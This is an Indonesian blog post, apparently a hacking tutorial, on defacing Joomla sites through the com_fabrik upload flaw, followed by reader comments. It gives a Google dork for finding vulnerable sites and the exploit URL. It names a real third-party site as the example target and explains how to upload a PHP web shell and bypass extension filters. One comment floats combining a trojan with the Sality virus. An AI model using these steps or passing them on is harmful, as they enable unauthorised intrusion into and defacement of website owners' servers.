Ini sebenarnya bug lama. Namun ternyata sampai sekarang masih ada saja situs yang vuln dengan bug ini. Tentu saja dengan kesabaran dalam mencari target dan kepandaian mengolah google dork.Oke, langsung saja.
Cara Deface dengan Metode Joomla Com_Fabrik Remote Shell Upload Vulnerability
Google Dork :
inurl:index.php?option=com_fabrik
Kreasikan sendiri dork kalian.
Exploit:
index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
Sebagai contoh, saya pilih http://www.duo-d-art.ch/index.php?option=com_fabrik
Ubah urlnya menjadi :
http://www.duo-d-art.ch/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
Oke, kita melihat ada tempat upload disitu. Kita upload saja shell kita. Kadang bisa langsung upload php, kadang tidak bisa. Namun kali ini kebetulan bisa. :p . Tinggal browser file, lalu klik Import CSV
Dan shell kita akan terletak di www.target.com/media/shell.php
Selanjutnya bebas mau diapakan webnya haha.
Sebagai catatan saja, tidak semua web yang vuln epxloit ini bisa diupload shell backdoor. Kadang hanya support txt atau html saja. Tinggal kreasikan saja bypass ekstensi kalian misal diubah ke .phtml, .phpjpg, .phpfla, dll.
Oke sekian tutorial kali ini. Jika ada yang kurang jelas silahkan tinggalkan komentar.
Nice info sobat
Y
mampir lagi silaturrahim sob
Terimakasih kawan. . .
mampir lagi mau membawahkan kopi hahaha
Thanks
menarik sob…
Apanya ?
hadir hadir belajar menyimak sobat 🙂
Thanks kawan. . .
xixixi kata katanya mantep 😀 pemalas gak akan sukses …
Hehehe
Tipa hari ada saja ide-ide baru ya sob tiap kali saya kesini.Luar biasa ini kreatifitasnya 🙂
Terimakasih. . .
Saya jujur kurang begitu mengerti masalah begini pak, masih bingung 🙁
salam guru pantura.
Thanks
Wah dahsyat ilmunya sob..
Hahaha. Bisa aja sob.
masih tetep pake injeksi ya.. Kalo di gabungin dengan virus gimana ya, mungkin aja trojan itu di gabungin sama sality terus di injeksi ke file nya …. Nyam nyam nyam
Lebih suka gini. Cara klasik tp tetep banyak hasil. . . :v
Salud nih sama mas adminnya….
Selalu ada ilmu dan bahan utk di post
#laporan hadir ya sob… 🙂
Oke. Thanks. .
ampuuun
ga mudeng babar blas kalo yang beginian
haha piss
mantef kang #JOSS
aselole. :v
saya g ngerti dengan yang beginian.. Haha.
Hahaha. Gk lucu.
waduh.. maaf sob baru sempat mampir nih. lagi sibuk di dunia nyata.. dan nyempet2in mampir di sini. hehehehe..
ditunggu komennya ama visitnya
di
http://cyberask.blogspot.com
file csv tuh gimana min ?
Aq kn berhasil upload shell nya. trz letaknya ada dimana y.?? koq di [site]/media/[shell.php ada .??
lagu di blognya judulnya apa y
gue bego, jadi kagak tau
gimana caranya tau kalo kita udah berhasil upload shell??